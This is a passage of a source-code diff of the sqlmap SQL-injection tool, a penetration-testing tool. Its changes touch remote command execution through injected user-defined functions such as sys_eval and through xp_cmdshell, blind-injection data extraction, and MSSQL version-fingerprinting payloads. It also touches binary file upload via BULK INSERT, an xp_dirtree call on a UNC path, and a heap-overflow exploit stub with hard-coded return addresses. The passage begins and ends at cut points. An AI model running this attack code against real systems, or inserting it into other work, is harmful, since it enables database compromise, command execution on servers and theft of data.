||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_eval"
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
@@ -62,6 +125,258 @@ class UDF:
|
||||
return output
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
errMsg = "udfInit() method must be defined within the plugin"
|
||||
def udfCreateFromSharedLib(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCore(self, udfDict):
|
||||
for udf in udfDict.keys():
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
self.udfCheckAndOverwrite(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
self.udfSetRemotePath()
|
||||
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||
self.udfCreateFromSharedLib(udf, inpRet)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
supportTblType = "longtext"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
supportTblType = "text"
|
||||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if self.isDba() == False:
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not conf.shLib:
|
||||
msg = "which is the local path of the shared library? "
|
||||
|
||||
while True:
|
||||
self.udfLocalFile = readInput(msg)
|
||||
|
||||
if self.udfLocalFile:
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the local path of the shared library")
|
||||
else:
|
||||
self.udfLocalFile = conf.shLib
|
||||
|
||||
if not os.path.exists(self.udfLocalFile):
|
||||
errMsg = "the specified shared library file does not exist"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||
errMsg = "you provided a shared object as shared library, but "
|
||||
errMsg += "the database underlying operating system is Windows"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||
errMsg = "you provided a dynamic-link library as shared library, "
|
||||
errMsg += "but the database underlying operating system is Linux"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||
|
||||
msg = "how many user-defined functions do you want to create "
|
||||
msg += "from the shared library? "
|
||||
|
||||
while True:
|
||||
udfCount = readInput(msg, default=1)
|
||||
|
||||
if isinstance(udfCount, str) and udfCount.isdigit():
|
||||
udfCount = int(udfCount)
|
||||
|
||||
if udfCount <= 0:
|
||||
logger.info("nothing to inject then")
|
||||
return
|
||||
else:
|
||||
break
|
||||
|
||||
elif isinstance(udfCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
for x in range(0, udfCount):
|
||||
while True:
|
||||
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||
udfName = readInput(msg)
|
||||
|
||||
if udfName:
|
||||
self.udfs[udfName] = {}
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the name of the UDF")
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
defaultType = "string"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
defaultType = "text"
|
||||
|
||||
self.udfs[udfName]["input"] = []
|
||||
|
||||
default = 1
|
||||
msg = "how many input parameters takes UDF "
|
||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||
|
||||
while True:
|
||||
parCount = readInput(msg, default=default)
|
||||
|
||||
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||
parCount = int(parCount)
|
||||
break
|
||||
|
||||
elif isinstance(parCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||
|
||||
for y in range(0, parCount):
|
||||
msg = "what is the data-type of input parameter "
|
||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||
|
||||
while True:
|
||||
parType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(parType, str) and parType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the parameter")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["input"].append(parType)
|
||||
break
|
||||
|
||||
msg = "what is the data-type of the return "
|
||||
msg += "value? (default: %s) " % defaultType
|
||||
|
||||
while True:
|
||||
retType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(retType, str) and retType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the return value")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["return"] = retType
|
||||
break
|
||||
|
||||
self.udfInjectCore(self.udfs)
|
||||
|
||||
msg = "do you want to call your injected user-defined "
|
||||
msg += "functions now? [Y/n/q] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ( "y", "Y" ):
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
return
|
||||
|
||||
while True:
|
||||
udfList = []
|
||||
msg = "which UDF do you want to call?"
|
||||
|
||||
for udf, inpRet in self.udfs.items():
|
||||
udfList.append(udf)
|
||||
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||
|
||||
msg += "\n[q] Quit"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg)
|
||||
|
||||
if choice[0] in ( "q", "Q" ):
|
||||
break
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, only digits >= 1 and "
|
||||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
cmd = ""
|
||||
count = 1
|
||||
udfToCall = udfList[choice - 1]
|
||||
|
||||
for inp in self.udfs[udfToCall]["input"]:
|
||||
msg = "what is the value of the parameter number "
|
||||
msg += "%d (data-type: %s)? " % (count, inp)
|
||||
|
||||
while True:
|
||||
parValue = readInput(msg)
|
||||
|
||||
if parValue:
|
||||
if "int" not in inp and "bool" not in inp:
|
||||
parValue = "'%s'" % parValue
|
||||
|
||||
cmd += "%s," % parValue
|
||||
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the value of the parameter")
|
||||
|
||||
count += 1
|
||||
|
||||
cmd = cmd[:-1]
|
||||
msg = "do you want to retrieve the return value of the "
|
||||
msg += "UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] in ("y", "Y"):
|
||||
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||
|
||||
if output:
|
||||
dumper.string("return value", output)
|
||||
else:
|
||||
print "No return value"
|
||||
else:
|
||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||
|
||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ("y", "Y"):
|
||||
break
|
||||
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
|
||||
+27
-7
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
@@ -49,11 +48,22 @@ class UPX:
|
||||
"""
|
||||
|
||||
def __initialize(self, srcFile, dstFile=None):
|
||||
if "win" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
if "darwin" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "win" in PLATFORM:
|
||||
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
else:
|
||||
warnMsg = "unsupported platform for the compression tool "
|
||||
warnMsg += "(upx), sqlmap will continue anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||
|
||||
if dstFile:
|
||||
@@ -68,15 +78,25 @@ class UPX:
|
||||
|
||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
upxStderr = process.communicate()[1]
|
||||
upxStdout, upxStderr = process.communicate()
|
||||
|
||||
if upxStderr:
|
||||
logger.warn("failed to compress the file")
|
||||
msg = "failed to compress the file"
|
||||
|
||||
if "NotCompressibleException" in upxStdout:
|
||||
msg += " because you provided a Metasploit version above "
|
||||
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||
msg += "the correct execution of sqlmap. It might "
|
||||
msg += "only slow down a bit the execution"
|
||||
logger.debug(msg)
|
||||
|
||||
elif upxStderr:
|
||||
logger.warn(msg)
|
||||
|
||||
return None
|
||||
else:
|
||||
return os.path.getsize(srcFile)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def unpack(self, srcFile, dstFile=None):
|
||||
pass
|
||||
|
||||
@@ -134,20 +134,20 @@ class xp_cmdshell:
|
||||
inject.goStacked(cmd, silent)
|
||||
|
||||
|
||||
def xpCmdshellEvalCmd(self, cmd):
|
||||
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
||||
self.delRemoteFile(tmpFile)
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
@@ -217,4 +217,4 @@ class xp_cmdshell:
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
|
||||
|
||||
@@ -45,7 +45,7 @@ from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None):
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
@@ -56,6 +56,24 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
firstChar = 0
|
||||
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
|
||||
firstChar = int(conf.firstChar) - 1
|
||||
elif firstChar is None:
|
||||
firstChar = 0
|
||||
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
||||
firstChar = int(firstChar) - 1
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
lastChar = 0
|
||||
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
|
||||
lastChar = int(conf.lastChar)
|
||||
elif lastChar in ( None, "0" ):
|
||||
lastChar = 0
|
||||
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||
lastChar = int(lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
@@ -73,9 +91,12 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and length
|
||||
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||
length = ( lastChar - firstChar )
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
threads = []
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
@@ -133,45 +154,41 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
value = [None] * length
|
||||
index = [0] # As list for python nested function scoping
|
||||
value = [ None ] * length
|
||||
index = [ firstChar ] # As list for python nested function scoping
|
||||
idxlock = threading.Lock()
|
||||
iolock = threading.Lock()
|
||||
|
||||
|
||||
def downloadThread():
|
||||
while True:
|
||||
idxlock.acquire()
|
||||
try:
|
||||
while True:
|
||||
idxlock.acquire()
|
||||
|
||||
if index[0] >= length:
|
||||
if index[0] >= length:
|
||||
idxlock.release()
|
||||
|
||||
return
|
||||
|
||||
index[0] += 1
|
||||
curidx = index[0]
|
||||
idxlock.release()
|
||||
|
||||
return
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
|
||||
index[0] += 1
|
||||
curidx = index[0]
|
||||
idxlock.release()
|
||||
if val is None:
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
value[curidx-1] = val
|
||||
|
||||
if val == None:
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index[0])
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
s = "".join([c or "_" for c in value])
|
||||
iolock.acquire()
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
|
||||
def downloadThreadProxy(numThread):
|
||||
try:
|
||||
downloadThread()
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index[0])
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
s = "".join([c or "_" for c in value])
|
||||
iolock.acquire()
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||
conf.threadException = True
|
||||
@@ -199,7 +216,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
# Start the threads
|
||||
for numThread in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
|
||||
@@ -228,14 +245,14 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
dataToStdout(infoMsg)
|
||||
|
||||
else:
|
||||
index = 0
|
||||
index = firstChar
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index, asciiTbl)
|
||||
|
||||
if val == None:
|
||||
if val is None or ( lastChar > 0 and index > lastChar ):
|
||||
break
|
||||
|
||||
finalValue += val
|
||||
|
||||
@@ -175,8 +175,9 @@ def __unionTestByNULLBruteforce(comment):
|
||||
|
||||
|
||||
def __unionTestByOrderBy(comment):
|
||||
columns = None
|
||||
value = None
|
||||
columns = None
|
||||
value = None
|
||||
prevPayload = ""
|
||||
|
||||
for count in range(1, 51):
|
||||
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||
|
||||
@@ -29,14 +29,11 @@ import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
@@ -202,7 +199,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
field = expressionFieldsList[0]
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
field = expressionFieldsList
|
||||
field = expressionFieldsList
|
||||
|
||||
else:
|
||||
field = None
|
||||
@@ -222,6 +219,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
# NOTE: for debug purposes only
|
||||
#debugMsg = "query: %s" % payload
|
||||
debugMsg = "query: %s" % query
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
+2
-3
@@ -32,7 +32,6 @@ from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
|
||||
class Google:
|
||||
@@ -84,9 +83,9 @@ class Google:
|
||||
|
||||
try:
|
||||
conn = self.opener.open("http://www.google.com/ncr")
|
||||
headers = conn.info()
|
||||
_ = conn.info()
|
||||
except urllib2.HTTPError, e:
|
||||
headers = e.info()
|
||||
_ = e.info()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
+1
-1
@@ -107,7 +107,7 @@ def resume(expression, payload):
|
||||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
|
||||
+98
-98
@@ -24,19 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -48,11 +46,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -198,10 +194,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ( 0, 5, 8 ):
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||
randInt = randomInt()
|
||||
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
||||
payload = agent.fullPayload(query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result is True:
|
||||
if version == 8:
|
||||
kb.dbmsVersion = [ "2008" ]
|
||||
|
||||
@@ -212,8 +210,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
break
|
||||
|
||||
elif version == 0:
|
||||
kb.dbmsVersion = [ "2000" ]
|
||||
|
||||
break
|
||||
|
||||
else:
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
||||
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
||||
payload = agent.fullPayload(query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
@@ -254,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||
|
||||
versions = {
|
||||
@@ -414,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
txtTbl = self.fileTblName
|
||||
hexTbl = "%shex" % self.fileTblName
|
||||
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
|
||||
# Reference: http://support.microsoft.com/kb/104829
|
||||
binToHexQuery = """
|
||||
@@ -516,7 +520,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
wFilePointer.close()
|
||||
|
||||
if wFileSize < debugSize:
|
||||
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
|
||||
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
@@ -542,7 +546,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
for i in range(0, wFileSize, debugSize):
|
||||
wFileChunk = wFileContent[i:i+debugSize]
|
||||
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
|
||||
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||
|
||||
if i == 0:
|
||||
infoMsg = "renaming chunk "
|
||||
@@ -590,39 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
# TODO: use 'sc' to:
|
||||
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
||||
# * Detect the absolute SQL Server executable file path
|
||||
#
|
||||
# References:
|
||||
# * http://www.ss64.com/nt/sc.html
|
||||
# * http://www.ss64.com/nt/for_cmd.html
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
logger.info("restarting Microsoft SQL Server, wait..")
|
||||
time.sleep(15)
|
||||
# TODO: use 'sc' to:
|
||||
# * Warn the user that sqlmap needs to restart the SQL Server
|
||||
# service, ask for confirmation
|
||||
# * Stop the SQL Server service (after handling DEP)
|
||||
# * Start the SQL Server service (after handling DEP)
|
||||
|
||||
# Another way to restart MSSQL consists of writing a bat file with
|
||||
# the following text:
|
||||
#
|
||||
#@ECHO OFF
|
||||
#NET STOP MSSQLSERVER
|
||||
#NET START MSSQLSERVER
|
||||
#
|
||||
# Then run the following statement and wait a few seconds:
|
||||
#
|
||||
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
"""
|
||||
References:
|
||||
@@ -631,83 +602,112 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
"""
|
||||
|
||||
returns = {
|
||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
||||
}
|
||||
retAddr = None
|
||||
# 2003 Service Pack 0
|
||||
"2003-0": ( "" ),
|
||||
|
||||
for version, data in returns.items():
|
||||
sp = data[0]
|
||||
address = data[1]
|
||||
# 2003 Service Pack 1
|
||||
